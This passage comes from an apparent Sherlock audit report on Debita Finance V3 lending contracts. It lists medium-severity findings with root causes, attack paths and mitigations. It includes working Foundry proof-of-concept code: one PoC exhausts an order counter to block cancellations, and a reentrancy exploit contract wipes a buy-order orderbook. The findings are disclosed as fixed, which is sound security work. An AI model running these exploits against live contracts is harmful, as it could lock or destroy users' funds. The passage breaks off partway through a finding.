0x37, 0xPhantom2, 0xloscar01, 0xlrivo, Ace-30, Audinarey, BengalCatBalu, ExtraCaterpillar, Feder, Honour, KlosMitSoss, Moksha, Vasquez, ahmedovv, almantare, aman, araj, arman, bbl4de, befree3x, dany.armstrong90, dimah7, dimulski, eeshenggoh, farismaulana, jjk, jsmi, liquidbuddha, momentum, nikhil840096, onthehunt, pepocpeter, prosper, s0x0mtee, stakog, t.aksoy, tjonair, tourist, utsav, ydlee

Summary

The missing active order check in DLOImplementation::addFunds will allow an attacker to halt the cancellation of lend orders for every lender and prevent non-perpetual lend orders from being fully matched as the attacker will execute the following attack path:

1. Call DLOFactory::createLendOrder to create a lend order
2. Call DLOImplementation::cancelOffer. DLOFactory::deleteOrder is called inside cancelOffer and decreases the DLOFactory::activeOrdersCount by 1.
3. Call DLOImplementation::addFunds to add funds to the lend order and pass the require statement in DLOImplementation::cancelOffer
4. Repeat steps 2 and 3 until DLOFactory::activeOrdersCount is 0

When activeOrdersCount is 0, further calls to the DLOFactory::deleteOrder function will revert due to arithmetic underflow. Consequently, functions calling deleteOrder will revert as well:

cancelOffer -> deleteOrder

DebitaV3Aggregator::matchOffersV3 -> acceptLendingOffer -> (if (lendInformation.availableAmount == 0 && !m_lendInformation.perpetual)) deleteOrder

Root Cause

There is a missing check in DLOImplementation::addFunds function that allows adding funds to an inactive offer.

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L162-L176

    function addFunds(uint amount) public nonReentrant {  
        require(  
            msg.sender == lendInformation.owner ||  
                IAggregator(aggregatorContract).isSenderALoan(msg.sender),  
            "Only owner or loan"  
        );  
        SafeERC20.safeTransferFrom(  
            IERC20(lendInformation.principle),  
            msg.sender,  
            address(this),  
            amount  
        );  
        lendInformation.availableAmount += amount;  
        IDLOFactory(factoryContract).emitUpdate(address(this));  
    }  

This allows an attacker to add funds to a lend order that has been canceled and pass the require statement in DLOImplementation::cancelOffer. The attacker can then call cancelOffer to decrease the DLOFactory::activeOrdersCount value by 1.

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L144-L159

    function cancelOffer() public onlyOwner nonReentrant {  
        uint availableAmount = lendInformation.availableAmount;  
        lendInformation.perpetual = false;  
        lendInformation.availableAmount = 0;  
@>        require(availableAmount > 0, "No funds to cancel");  
        isActive = false;  
  
        SafeERC20.safeTransfer(  
            IERC20(lendInformation.principle),  
            msg.sender,  
            availableAmount  
        );  
        IDLOFactory(factoryContract).emitDelete(address(this));  
@>        IDLOFactory(factoryContract).deleteOrder(address(this));  
        // emit canceled event on factory  
    }  

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOfferFactory.sol#L207-L220

    function deleteOrder(address _lendOrder) external onlyLendOrder {  
        uint index = LendOrderIndex[_lendOrder];  
        LendOrderIndex[_lendOrder] = 0;  
  
        // switch index of the last borrow order to the deleted borrow order  
        allActiveLendOrders[index] = allActiveLendOrders[activeOrdersCount - 1];  
        LendOrderIndex[allActiveLendOrders[activeOrdersCount - 1]] = index;  
  
        // take out last borrow order  
  
        allActiveLendOrders[activeOrdersCount - 1] = address(0);  
  
@>        activeOrdersCount--;  
    }  

Internal pre-conditions

For Denial of Service in DLOImplementation::cancelOffer:

1. There needs to be at least an active lend order created by a legitimate user.

For DebitaV3Aggregator::matchOffersV3 to revert due to the attack path execution:

1. A legitimate user must create at least an active non-perpetual lend order with _startedLendingAmount greater than 0.

2. A borrow order that matches the non-perpetual lend order must exist.

3. DebitaV3Aggregator must not be paused.

4. The borrow order must borrow the full available amount of the matched lend order. This means that when the lend order is matched by calling matchOffersV3, DLOImplementation::acceptLendingOffer is called by DebitaV3Aggregator with amount equal to lendInformation.availableAmount.

External pre-conditions

No response

Attack Path

Actors:

• Attacker: Exploits the addFunds logic to reduce DLOFactory::activeOrdersCount to 0.
• Lender: creates a lend order
• Borrower: creates a borrow order
• Aggregator User: calls DebitaV3Aggregator::matchOffersV3

Initial State:

Assume there is a non-perpetual lend order, created by the Lender and a borrow order created by the Borrower, both are active and can be matched. The borrow order will borrow the total of the lend order availableAmount. Under this condition, DLOFactory::activeOrdersCount = 1.

Attack Path:

1. The attacker calls DLOFactory::createLendOrder to create a lend order. This function will increase the DLOFactory::activeOrdersCount by 1.

DLOFactory::activeOrdersCount = 2

2. The attacker calls DLOImplementation::cancelOffer to cancel his lend order. This function calls DLOFactory::deleteOrder which will decrease the DLOFactory::activeOrdersCount by 1.

DLOFactory::activeOrdersCount = 1

3. The attacker calls DLOImplementation::addFunds with 1 as the amount parameter. This function will add 1 to the lend order's availableAmount and allow the attacker to pass the require statement in DLOImplementation::cancelOffer.

4. The attacker calls DLOImplementation::cancelOffer to decrease the activeOrdersCount by 1.

DLOFactory::activeOrdersCount = 0

5. The Aggregator User calls DebitaV3Aggregator::matchOffersV3 to match the non-perpetual lend order with the borrow order. This function calls DLOImplementation::acceptLendingOffer with amount equal to lendInformation.availableAmount. As the lend order availableAmount is now 0, the if statement in DLOImplementation::acceptLendingOffer is true

lendInformation.availableAmount == 0 && !m_lendInformation.perpetual

and DLOFactory::deleteOrder is called inside acceptLendingOffer. deleteOrder will try to decrease the DLOFactory::activeOrdersCount value by 1, but as its value is 0, the function will revert due to arithmetic underflow.

6. The Lender calls DLOImplementation::cancelOffer to cancel his lend order. DLOFactory::deleteOrder is called inside cancelOffer and will revert due to the activeOrdersCount being 0.

Impact

• Lenders cannot cancel their lend orders to withdraw their funds.

• Non-perpetual lend orders cannot be 100% accepted.

• A lender who wishes to cancel their lend order will be forced to create a new lend order with the sole purpose of increasing the DLOFactory::activeOrdersCount value and allowing the lender to cancel their initial lend order. This requires that the attacker cease the attack.

PoC

// SPDX-License-Identifier: MIT  
pragma solidity ^0.8.0;  
  
import {Test, console} from "forge-std/Test.sol";  
import {stdError} from "forge-std/StdError.sol";  
import {DLOImplementation} from "@contracts/DebitaLendOffer-Implementation.sol";  
import {DLOFactory} from "@contracts/DebitaLendOfferFactory.sol";  
import {DBOImplementation} from "@contracts/DebitaBorrowOffer-Implementation.sol";  
import {DBOFactory} from "@contracts/DebitaBorrowOffer-Factory.sol";  
import {DebitaV3Aggregator} from "@contracts/DebitaV3Aggregator.sol";  
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";  
import {DebitaIncentives} from "@contracts/DebitaIncentives.sol";  
import {Ownerships} from "@contracts/DebitaLoanOwnerships.sol";  
import {auctionFactoryDebita} from "@contracts/auctions/AuctionFactory.sol";  
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";  
import {DynamicData} from "../../interfaces/getDynamicData.sol";  
  
contract DOSTest is Test {  
    DBOFactory public DBOFactoryContract;  
    DLOFactory public DLOFactoryContract;  
    Ownerships public ownershipsContract;  
    DebitaIncentives public incentivesContract;  
    DebitaV3Aggregator public DebitaV3AggregatorContract;  
    auctionFactoryDebita public auctionFactoryDebitaContract;  
    DebitaV3Loan public DebitaV3LoanContract;  
    ERC20Mock public AEROContract;  
    ERC20Mock public USDCContract;  
    ERC20Mock public wETHContract;  
    DLOImplementation public LendOrder;  
    DBOImplementation public BorrowOrder;  
    DynamicData public allDynamicData;  
  
    address USDC;  
    address wETH;  
  
    address borrower = address(0x02);  
    address lender1 = address(0x03);  
    address lender2 = address(0x04);  
    address lender3 = address(0x05);  
  
    address feeAddress = address(this);  
  
    function setUp() public {  
        allDynamicData = new DynamicData();  
        ownershipsContract = new Ownerships();  
        incentivesContract = new DebitaIncentives();  
        DBOImplementation borrowOrderImplementation = new DBOImplementation();  
        DBOFactoryContract = new DBOFactory(address(borrowOrderImplementation));  
        DLOImplementation proxyImplementation = new DLOImplementation();  
        DLOFactoryContract = new DLOFactory(address(proxyImplementation));  
        auctionFactoryDebitaContract = new auctionFactoryDebita();  
        USDCContract = new ERC20Mock();  
        wETHContract = new ERC20Mock();  
  
        DebitaV3Loan loanInstance = new DebitaV3Loan();  
        DebitaV3AggregatorContract = new DebitaV3Aggregator(  
            address(DLOFactoryContract),  
            address(DBOFactoryContract),  
            address(incentivesContract),  
            address(ownershipsContract),  
            address(auctionFactoryDebitaContract),  
            address(loanInstance)  
        );  
  
        USDC = address(USDCContract);  
        wETH = address(wETHContract);  
  
        wETHContract.mint(address(this), 15 ether);  
        wETHContract.mint(lender1, 5 ether);  
        wETHContract.mint(lender2, 5 ether);  
        wETHContract.mint(lender3, 5 ether);  
  
  
        ownershipsContract.setDebitaContract(  
            address(DebitaV3AggregatorContract)  
        );  
  
        incentivesContract.setAggregatorContract(  
            address(DebitaV3AggregatorContract)  
        );  
  
        DLOFactoryContract.setAggregatorContract(  
            address(DebitaV3AggregatorContract)  
        );  
  
        DBOFactoryContract.setAggregatorContract(  
            address(DebitaV3AggregatorContract)  
        );  
  
        auctionFactoryDebitaContract.setAggregator(  
            address(DebitaV3AggregatorContract)  
        );  
    }  
  
  
    // Attack path:  
    // 1. multiple lend offers are created  
    // 2. borrow offer is created  
    // 3. lender1 executes cancelOffer -> addFunds multiple times until DLOFactory::activeOrdersCount == 0  
    // 4. user calls matchOffersV3 and another lender calls cancelOffer. Both should fail  
    function testDOSAttack() public {  
        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);  
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);  
        uint[] memory ratio = allDynamicData.getDynamicUintArray(1);  
        uint[] memory ratioLenders = allDynamicData.getDynamicUintArray(1);  
        uint[] memory ltvsLenders = allDynamicData.getDynamicUintArray(1);  
        bool[] memory oraclesActivatedLenders = allDynamicData  
            .getDynamicBoolArray(1);  
        address[] memory acceptedPrinciples = allDynamicData  
            .getDynamicAddressArray(1);  
        address[] memory acceptedCollaterals = allDynamicData  
            .getDynamicAddressArray(1);  
        address[] memory oraclesCollateral = allDynamicData  
            .getDynamicAddressArray(1);  
        address[] memory oraclesPrinciples = allDynamicData  
            .getDynamicAddressArray(1);  
  
        ratioLenders[0] = 1e18;  
        ratio[0] = 1e18;  
        acceptedPrinciples[0] = wETH;  
        acceptedCollaterals[0] = USDC;  
        oraclesActivated[0] = false;  
  
        // Create multiple lend offers  
        vm.startPrank(lender1);  
        wETHContract.approve(address(DLOFactoryContract), 5 ether);  
  
        address lendOffer1 = DLOFactoryContract.createLendOrder({  
            _perpetual: false,  
            _oraclesActivated: oraclesActivatedLenders,  
            _lonelyLender: false,  
            _LTVs: ltvsLenders,  
            _apr: 1000,  
            _maxDuration: 8640000,  
            _minDuration: 86400,  
            _acceptedCollaterals: acceptedCollaterals,  
            _principle: wETH,  
            _oracles_Collateral: oraclesCollateral,  
            _ratio: ratioLenders,  
            _oracleID_Principle: address(0x0),  
            _startedLendingAmount: 5e18  
        });  
  
        vm.startPrank(lender2);  
        wETHContract.approve(address(DLOFactoryContract), 5 ether);  
  
        address lendOffer2 = DLOFactoryContract.createLendOrder({  
            _perpetual: false,  
            _oraclesActivated: oraclesActivatedLenders,  
            _lonelyLender: false,  
            _LTVs: ltvsLenders,  
            _apr: 1000,  
            _maxDuration: 8640000,  
            _minDuration: 86400,  
            _acceptedCollaterals: acceptedCollaterals,  
            _principle: wETH,  
            _oracles_Collateral: oraclesCollateral,  
            _ratio: ratioLenders,  
            _oracleID_Principle: address(0x0),  
            _startedLendingAmount: 5e18  
        });  
  
        vm.startPrank(lender3);  
        wETHContract.approve(address(DLOFactoryContract), 5 ether);  
  
        address lendOffer3 = DLOFactoryContract.createLendOrder({  
            _perpetual: false,  
            _oraclesActivated: oraclesActivatedLenders,  
            _lonelyLender: false,  
            _LTVs: ltvsLenders,  
            _apr: 1000,  
            _maxDuration: 8640000,  
            _minDuration: 86400,  
            _acceptedCollaterals: acceptedCollaterals,  
            _principle: wETH,  
            _oracles_Collateral: oraclesCollateral,  
            _ratio: ratioLenders,  
            _oracleID_Principle: address(0x0),  
            _startedLendingAmount: 5e18  
        });  
  
        vm.stopPrank();  
  
        // Create a borrow offer  
        USDCContract.mint(borrower, 10e18);  
        vm.startPrank(borrower);  
        USDCContract.approve(address(DBOFactoryContract), 100e18);  
  
        address borrowOrderAddress = DBOFactoryContract.createBorrowOrder({  
            _oraclesActivated: oraclesActivated,  
            _LTVs: ltvs,  
            _maxInterestRate: 1400,  
            _duration: 864000,  
            _acceptedPrinciples: acceptedPrinciples,  
            _collateral: USDC,  
            _isNFT: false,  
            _receiptID: 0,  
            _oracleIDS_Principles: oraclesPrinciples,  
            _ratio: ratio,  
            _oracleID_Collateral: address(0x0),  
            _collateralAmount: 10e18  
        });  
  
        vm.stopPrank();  
  
        // Lender1 begins the attack  
        // check DLOFactory::activeOrdersCount == 3  
        assertEq(DLOFactoryContract.activeOrdersCount(), 3);  
  
        // lender1 cancels the offer -> DLOFactory::activeOrdersCount == 2  
        vm.startPrank(lender1);  
        DLOImplementation(lendOffer1).cancelOffer();  
  
        // addFunds (1 wei)  
        wETHContract.approve(lendOffer1, 3);  
        DLOImplementation(lendOffer1).addFunds(1);  
  
        // cancelOffer again -> DLOFactory::activeOrdersCount == 1  
        DLOImplementation(lendOffer1).cancelOffer();  
  
        // addFunds (1 wei)  
        DLOImplementation(lendOffer1).addFunds(1);  
  
        // lender1 cancels the offer -> DLOFactory::activeOrdersCount == 0  
        DLOImplementation(lendOffer1).cancelOffer();  
  
        vm.stopPrank();  
  
        // check DLOFactory::activeOrdersCount == 0  
        assertEq(DLOFactoryContract.activeOrdersCount(), 0);  
  
        // now try to call mathOffersV3 -> should fail  
        address[] memory lendOrders = new address[](1);  
        uint[] memory lendAmounts = allDynamicData.getDynamicUintArray(1);  
        uint[] memory percentagesOfRatio = allDynamicData.getDynamicUintArray(  
            1  
        );  
        uint[] memory indexForPrinciple_BorrowOrder = allDynamicData  
            .getDynamicUintArray(1);  
        uint[] memory indexForCollateral_LendOrder = allDynamicData  
            .getDynamicUintArray(1);  
        uint[] memory indexPrinciple_LendOrder = allDynamicData  
            .getDynamicUintArray(1);  
  
        lendOrders[0] = lendOffer3;  
        percentagesOfRatio[0] = 10000;  
        lendAmounts[0] = 5e18;  
  
        vm.expectRevert(stdError.arithmeticError);  
        address deployedLoan = DebitaV3AggregatorContract.matchOffersV3({  
            lendOrders: lendOrders,  
            lendAmountPerOrder: lendAmounts,  
            porcentageOfRatioPerLendOrder: percentagesOfRatio,  
            borrowOrder: borrowOrderAddress,  
            principles: acceptedPrinciples,  
            indexForPrinciple_BorrowOrder: indexForPrinciple_BorrowOrder,  
            indexForCollateral_LendOrder: indexForCollateral_LendOrder,  
            indexPrinciple_LendOrder: indexPrinciple_LendOrder  
        });  
  
        // lender2 tries to cancel his lend order -> should fail  
        vm.startPrank(lender2);  
        vm.expectRevert(stdError.arithmeticError);  
        DLOImplementation(lendOffer2).cancelOffer();  
    }  
}  

Steps to reproduce:

1. Create a file DOSTest.t.sol inside Debita-V3-Contracts/test/local/Loan/ and paste the PoC code.

2. Run the test in the terminal with the following command:

forge test --mt testDOSAttack

Mitigation

Add a check in DLOImplementation::cancelOffer to prevent cancelling an inactive lend order.

@@ -139,12 +139,13 @@ contract DLOImplementation is ReentrancyGuard, Initializable {  
     }  
  
     // function to cancel the lending offer  
     // only callable once by the owner  
     // in case of perpetual, the funds won't come back here and lender will need to claim it from the lend orders  
     function cancelOffer() public onlyOwner nonReentrant {  
+        require(isActive, "Offer is not active");  
         uint availableAmount = lendInformation.availableAmount;  
         lendInformation.perpetual = false;  
         lendInformation.availableAmount = 0;  
         require(availableAmount > 0, "No funds to cancel");  
         isActive = false;  

Add a check in DLOImplementation::addFunds to prevent adding funds to an inactive offer, this will prevent lenders from getting their funds stuck in an inactive order.

@@ -162,12 +163,13 @@ contract DLOImplementation is ReentrancyGuard, Initializable {  
     function addFunds(uint amount) public nonReentrant {  
         require(  
             msg.sender == lendInformation.owner ||  
                 IAggregator(aggregatorContract).isSenderALoan(msg.sender),  
             "Only owner or loan"  
         );  
+        require(isActive, "Offer is not active");  
         SafeERC20.safeTransferFrom(  
             IERC20(lendInformation.principle),  
             msg.sender,  
             address(this),  
             amount  
         );  

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/206c6ede06ab1d84943bd0b8431d6c0a9c9faaa7

Issue M-7: An attacker can wipe the orderbook in buyOrderFactory.sol

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/326

Found by

0x37, AdamSzymanski, VAD37, Vidus, copperscrewer, liquidbuddha, tourist

Summary

A malicious actor can wipe the complete buy order orderbook in buyOrderFactory.sol. The attack - excluding gas costs - does not bear any financial burden on the attacker. As a result of the exploit, the orderbook will be temporarily inaccessible in the factory, leading to a DoS state in buy order matching, and in closing and selling existing positions.

Root Cause

The function sellNFT(uint receiptID) lacks reentrancy protection:
https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/buyOrders/buyOrder.sol#L92

Internal pre-conditions

N/A

External pre-conditions

N/A

Attack Path

1. Attacker calls createBuyOrder(address _token, address wantedToken, uint _amount, uint ratio) with exploit contract supplied in parameter wantedToken
2. Attacker calls sellNFT(uint receiptID) which triggers the exploit sequence
3. Exploit contract will reenter sellNFT multiple times, triggering a cascade of buy order deletions

Impact

The orderbook in buyOrderFactory.sol will be inaccessible. The function getActiveBuyOrders(uint offset, uint limit) is used by off-chain services to gather buy order data - this data will be temporarily blocked. Deleting existing buy orders (deleteBuyOrder()) and selling NFTs (sellNFT(uint receiptID)) will also be temporarily blocked until the issue is resolved manually. Issue can be resolved manually by:

• Opening dummy buy orders with very little collateral
• Closing/selling positions on existing "legit" orders

PoC

Note: the PoC is somewhat hastily developed as the audit deadline is quite short relative to the project scope. Executing the PoC with the verbose flag (forge test -vvvv) will show that deletion is triggered multiple times.

Exploit contract:

// SPDX-License-Identifier: MIT  
pragma solidity ^0.8.0;  
  
interface BuyOrder {  
    function sellNFT(uint receiptID) external;  
}  
  
contract Exploit {  
    BuyOrder public buyOrder;  
    uint public counter = 0;  
    uint public counterMax = 2;  
  
    struct receiptInstance {  
        uint receiptID;  
        uint attachedNFT;  
        uint lockedAmount;  
        uint lockedDate;  
        uint decimals;  
        address vault;  
        address underlying;  
    }  
  
    constructor() {}  
  
    function setBuyOrder(address _buyOrder) public {  
        buyOrder = BuyOrder(_buyOrder);  
    }  
  
    fallback() external payable {  
        if (counter < 2) {  
            counter++;  
            buyOrder.sellNFT(0);  
        }  
  
        if (counter == counterMax) {  
            counter++;  
            buyOrder.sellNFT(1);  
        }   
  
    }  
  
    function getDataByReceipt(uint receiptID) public view returns (receiptInstance memory) {  
        uint lockedAmount;  
        if (receiptID == 1) {  
            lockedAmount = 1;  
        } else {  
            lockedAmount = 0;  
        }  
  
        uint lockedDate = 0;  
        uint decimals = 0;  
        address vault = address(this);  
        address underlying = address(this);  
        bool OwnerIsManager = true;  
        return receiptInstance(receiptID, 0, lockedAmount, lockedDate, decimals, vault, underlying);  
    }  
  
}  

Forge test:

pragma solidity ^0.8.0;  
  
import {Test, console} from "forge-std/Test.sol";  
import "forge-std/StdCheats.sol";  
  
import {BuyOrder, buyOrderFactory} from "@contracts/buyOrders/buyOrderFactory.sol";  
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";  
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";  
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";  
  
import {Exploit} from "./exploit.sol";  
  
contract BuyOrderTest is Test {  
    buyOrderFactory public factory;  
    BuyOrder public buyOrder;  
    BuyOrder public buyOrderContract;  
    ERC20Mock public AERO;  
    Exploit public exploit;  
  
    function setUp() public {  
        BuyOrder instanceDeployment = new BuyOrder();  
        factory = new buyOrderFactory(address(instanceDeployment));  
        AERO = new ERC20Mock();  
    }  
  
    function testMultipleDeleteBuyOrder() public {  
        address alice = makeAddr("alice");  
        deal(address(AERO), alice, 1000e18, false);  
  
        vm.startPrank(alice);  
        IERC20(AERO).approve(address(factory), 1000e18);  
        exploit = new Exploit();  
  
        factory.createBuyOrder(address(AERO), address(AERO), 1, 1);  
        factory.createBuyOrder(address(AERO), address(AERO), 1, 1);  
        factory.createBuyOrder(address(AERO), address(AERO), 1, 1);  
          
        address _buyOrderAddress = factory.createBuyOrder(  
            address(AERO),  
            address(exploit),  
            1,  
            1  
        );  
  
        exploit.setBuyOrder(_buyOrderAddress);  
        buyOrderContract = BuyOrder(_buyOrderAddress);  
  
        buyOrderContract.sellNFT(2);  
  
        vm.stopPrank();  
    }  
  
}  
  

Mitigation

Apply reentrancy protection on the function sellNFT(uint receiptID):
https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/buyOrders/buyOrder.sol#L92

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/f3195e007b0c22dc0173a344157c182726dbf2ec

Issue M-8: Lender may loose part of the interest he has accrued if he makes his lend offer perpetual after a loan has been extended by the borrower

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/345

Found by

dimulski

Summary

The DebitaV3Loan.sol contract allows borrowers to extend their loan against certain fees by calling the extendLoan() function:

    function extendLoan() public {  
                ...  
                /*   
                CHECK IF CURRENT LENDER IS THE OWNER OF THE OFFER & IF IT'S PERPETUAL FOR INTEREST  
                */  
                DLOImplementation lendOffer = DLOImplementation(  
                    offer.lendOffer  
                );  
                DLOImplementation.LendInfo memory lendInfo = lendOffer  
                    .getLendInfo();  
                address currentOwnerOfOffer;  
  
                try ownershipContract.ownerOf(offer.lenderID) returns (  
                    address _lenderOwner  
                ) {  
                    currentOwnerOfOffer = _lenderOwner;  
                } catch {}  
  
                if (  
                    lendInfo.perpetual && lendInfo.owner == currentOwnerOfOffer  
                ) {  
                    IERC20(offer.principle).approve(  
                        address(lendOffer),  
                        interestOfUsedTime - interestToPayToDebita  
                    );  
                    lendOffer.addFunds(  
                        interestOfUsedTime - interestToPayToDebita  
                    );  
                } else {  
                    loanData._acceptedOffers[i].interestToClaim +=  
                        interestOfUsedTime -  
                        interestToPayToDebita;  
                }  
                loanData._acceptedOffers[i].interestPaid += interestOfUsedTime;  
            }  
        }  
        Aggregator(AggregatorContract).emitLoanUpdated(address(this));  
    }  

The extendLoan() function, also calculates the interest that is owed to the lenders up to the point the function is called. As can be seen from the above code snippet if the lend order is not perpetual the accrued interest will be added to the interestToClaim field. Now if a loan has been extended by the borrower, and a lender decides he wants to make his lend order perpetual(meaning that any generated interest, which may come from other loans as well, will be directly deposited to his lend order contract), but doesn't first claim his interest he will loose the interest that has been accrued up to the point the loan was extended. When the borrower repays his loan via the payDebt() function:

    function payDebt(uint[] memory indexes) public nonReentrant {  
            ...  
  
            DLOImplementation lendOffer = DLOImplementation(offer.lendOffer);  
            DLOImplementation.LendInfo memory lendInfo = lendOffer  
                .getLendInfo();  
  
            SafeERC20.safeTransferFrom(  
                IERC20(offer.principle),  
                msg.sender,  
                address(this),  
                total  
            );  
            // if the lender is the owner of the offer and the offer is perpetual, then add the funds to the offer  
            if (lendInfo.perpetual && lendInfo.owner == currentOwnerOfOffer) {  
                loanData._acceptedOffers[index].debtClaimed = true;  
                IERC20(offer.principle).approve(address(lendOffer), total);  
                lendOffer.addFunds(total);  
            } else {  
                loanData._acceptedOffers[index].interestToClaim =  
                    interest -  
                    feeOnInterest;  
            }  
  
            SafeERC20.safeTransferFrom(  
                IERC20(offer.principle),  
                msg.sender,  
                feeAddress,  
                feeOnInterest  
            );  
  
            loanData._acceptedOffers[index].interestPaid += interest;  
        }  
        // update total count paid  
        loanData.totalCountPaid += indexes.length;  
  
        Aggregator(AggregatorContract).emitLoanUpdated(address(this));  
        // check owner  
    }  

As can be seen from the above code snippet if the lend order is perpetual the intrest generated after the loan has been extended will be directly send to the lend offer contract alongside with the principal of the loan, and the debtClaimed will be set to true. This prohibits the user from calling the claimDebt() function later on in order to receive the interest he accrued before the loan was extended. This results in the lender loosing the interest he has generated before the loan was extended, which based on the amount of the loan, the duration and the APR may be a significant amount. Keep in mind that most users of the protocol are not experienced web3 developers or auditors and most probably won't be tracking if and when a loan has been extended. They will expect that after certain time has passed, they will be able to claim their interest, or if they have set their lend order to be a perpetual one, they will expect just to sit back, and generate interest.

Root Cause

The payDebt() function sets the debtClaimed to true, if a lend order is perpetual. The lender can't call the claimDebt() function in order to get his accrued interest, if he had any before the payDebt() function was called by the borrower to repay his debt.

Internal pre-conditions

1. Borrow and Lend Orders are matched, the Lend orders are not perpetual
2. Several days after the loan has been created pass, the borrower decides to extend the loan
3. Some of the lenders decide to make their lend orders perpetual, without first claiming the interest they have generated before the loan was extended.

External pre-conditions

No response

Attack Path

No response

Impact

In a scenario where a borrower extends a loan, and later on a lender makes his lend order a perpetual one, the lender will loose the interest he accrued before the loan was extended. Based on factors such as loan duration, APR and amount those losses may be significant. Those funds will be locked in the contract forever.

PoC

No response

Mitigation

Consider implementing a separate function just for claiming interest.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/8008bb515d7f6eafc5c98a444d985cd6f9416c37

Issue M-9: Mixed Token Price Will Be Inflated or Deflated

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/362

Found by

dimulski, jsmi

Summary

The MixOracle::getThePrice() function contains a logical error, causing the calculated price of a token to be incorrectly inflated or deflated. This issue arises when token pairs with differing decimal scales are used, leading to inaccurate pricing data.

Root Cause

1. The problem lies in the following function:
   https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/oracles/MixOracle/MixOracle.sol#L40-L70

    function getThePrice(address tokenAddress) public returns (int) {  
        // get tarotOracle address  
        address _priceFeed = AttachedTarotOracle[tokenAddress];  
        require(_priceFeed != address(0), "Price feed not set");  
        require(!isPaused, "Contract is paused");  
        ITarotOracle priceFeed = ITarotOracle(_priceFeed);  
  
        address uniswapPair = AttachedUniswapPair[tokenAddress];  
        require(isFeedAvailable[uniswapPair], "Price feed not available");  
        // get twap price from token1 in token0  
        (uint224 twapPrice112x112, ) = priceFeed.getResult(uniswapPair);  
        address attached = AttachedPricedToken[tokenAddress];  
  
        // Get the price from the pyth contract, no older than 20 minutes  
        // get usd price of token0  
        int attachedTokenPrice = IPyth(debitaPythOracle).getThePrice(attached);  
        uint decimalsToken1 = ERC20(attached).decimals();  
57:     uint decimalsToken0 = ERC20(tokenAddress).decimals();  
  
        // calculate the amount of attached token that is needed to get 1 token1  
        int amountOfAttached = int(  
61:         (((2 ** 112)) * (10 ** decimalsToken1)) / twapPrice112x112  
        );  
  
        // calculate the price of 1 token1 in usd based on the attached token  
        uint price = (uint(amountOfAttached) * uint(attachedTokenPrice)) /  
66:         (10 ** decimalsToken1);  
  
        require(price > 0, "Invalid price");  
        return int(uint(price));  
    }  

Here, decimalsToken1 is mistakenly used for scaling instead of decimalsToken0 in line 66. This discrepancy is critical when the token pair has different decimals. Furthermore, the variable decimalsToken0 is defined but not utilized anywhere else in the function, highlighting a clear logical oversight.

Internal pre-conditions

The admin sets token pairs in the MixOracle where the tokens have differing decimals (e.g., USDC with 6 decimals and DAI with 18 decimals).

External pre-conditions

No response

Attack Path

1. Assume MixOracle::getThePrice() is called with tokenAddress = DAI.
2. In the contract:
   • decimalsToken0 = 1e18 (DAI has 18 decimals).
   • decimalsToken1 = 1e6 (USDC has 6 decimals).
3. Due to the logical error in line 66, the token price will be inflated by 1e12 (or deflated in other cases), depending on the tokens in the pair.
4. This incorrect price propagation may result in:

   • Incorrect exchange rates.

   • Loss of funds for users or systems relying on this data.

Impact

Mix oracle get the inflated/deflated price, leading to the loss of funds.

PoC

No response

Mitigation

In line 61, replace decimalsToken1 with decimalsToken0.

        uint price = (uint(amountOfAttached) * uint(attachedTokenPrice)) /  
-           (10 ** decimalsToken1);  
+           (10 ** decimalsToken0);  

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/c5573af2b866686390a82eef67817454624ed9c7

Issue M-10: Precision loss leads to locked incentives in DebitaIncentives::claimIncentives()

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/385

Found by

BengalCatBalu, KlosMitSoss, Maroutis, VAD37, dany.armstrong90, jsmi, pashap9990

Summary

When a lender or borrwer calls DebitaIncentives::claimIncentives() to claim a share of the incentives for a specific token pair they interacted with during an epoch, their share is calculated as a percentage. This percentage is determined based on the amount they lent or borrowed through the protocol during that epoch, relative to the total amount lent and borrowed by all users in the same period.

The percentage is rounded to two decimal places, which means up to 0.0099% of the incentives may remain unclaimed for each lender or borrower. Consider the following simple scenario:

1. Six lenders each lent 5e18 over a 14-day period for a specific token pair
2. That token pair is incentivized with 1000e18
3. The total amount lent equals 6 * 5e18 = 30e18

After each lender calls DebitaIncentives::claimIncentives(), there will still be 4e17 locked in the contract permanently. This means the incentivizer loses 0.04% of their incentives and every lender lost 4e17 / 6.

Root Cause

In DebitaIncentives.sol, there is no mechanism for incentivizers to withdraw unclaimed incentives that cannot be claimed due to precision loss.

Internal pre-conditions

1. Incentivizers need to call DebitaIncentives::incentivizePair() to incentivize specific token pairs.
2. Users need to interact with one of these incentivized pairs by borrowing or lending them.

External pre-conditions

None.

Attack Path

1. A user that interacted with an incentivized token pair calls DebitaIncentives::claimIncentives(). He will receive less funds due to rounding. The funds will be stuck in the contract.

Impact

